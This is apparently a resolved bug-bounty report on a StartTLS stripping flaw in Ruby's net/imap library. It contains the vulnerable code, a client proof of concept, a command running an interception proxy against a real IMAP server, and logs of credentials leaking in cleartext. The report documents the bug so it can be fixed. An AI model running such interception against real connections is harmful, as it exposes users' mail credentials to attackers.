Loading HuntDB...

imap: StartTLS stripping attack (CVE-2016-0772).

Medium
R
Ruby
Submitted None
Reported by sighook

Vulnerability Details

Technical details and impact analysis

Cryptographic Issues - Generic
`net/imap` does not seem to raise an exception when the remote end (imap server) fails to respond with `tagged_response` (NO/BAD) or `OK` to an explicit call of `imap.starttls`. This may allow a malicious MITM to perform a starttls stripping attack if the client code does not explicitly set `usessl = true` on ` initialize` where it is disabled by default: it is rarely done as one might expect that `starttls` raises an exception when starttls negotiation fails (like when using `usessl` on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail). The vulnerable code: ```ruby def starttls(options = {}, verify = true) send_command("STARTTLS") do |resp| if resp.kind_of?(TaggedResponse) && resp.name == "OK" begin # for backward compatibility certs = options.to_str options = create_ssl_params(certs, verify) rescue NoMethodError end start_tls_session(options) end # <--- End of handling :) end end ``` # PoC For instance, we have the following client code: ```ruby require 'net/imap' imap = Net::IMAP.new('0.0.0.0', 9999) imap.starttls imap.login('myLOGIN','myPASSWORD') # test login #imap.authenticate('LOGIN', 'joe_user', 'joes_password') # test auth imap.disconnect ``` Start the proxy: `python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError` (See `striptls.py` in attachments). Proxy output: ```bash $ python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError 2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> client ('127.0.0.1', 39154) has connected 2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> connecting to target ('imap.yandex.ru', 143) 2021-04-28 18:43:27,347 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server] '* OK Yandex IMAP4rev1 at myt3-8d2078fedea5.qloud-c.yandex.net:143 ready to talk with ::ffff:188.138.209.162:62549, 2021-Apr-28 18:43:52, qheZ7J3friE1\r\n' 2021-04-28 18:43:27,348 - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithError new: True> 2021-04-28 18:43:27,348 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0001 STARTTLS\r\n' 2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n' 2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server][mangled] None 2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0002 LOGIN myLOGIN myPASSWORD\r\n' ... ``` As you can see, `starttls` did not return any error to the client and `LOGIN` authentication started. `AUTH` is the same: ``` 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0001 STARTTLS\r\n' 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n' 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0002 AUTHENTICATE' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] ' LOGIN\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lX3VzZXI=\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,582 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==' 2021-04-28 18:47:00,582 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] '\r\n' 2021-04-28 18:47:00,635 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server] 'RUBY0002 BAD Command syntax error. sc=PleRNJ32YGk1_281547_4-d4596b06cae3\r\n' ``` I set the same CVSS as CVE-2016-0772 has. ## Impact Allows man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."

Related CVEs

Associated Common Vulnerabilities and Exposures

The smtplib library in CPython (aka Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2 does not return an error when StartTLS fails, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, …

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$500.00

Submitted

Weakness

Cryptographic Issues - Generic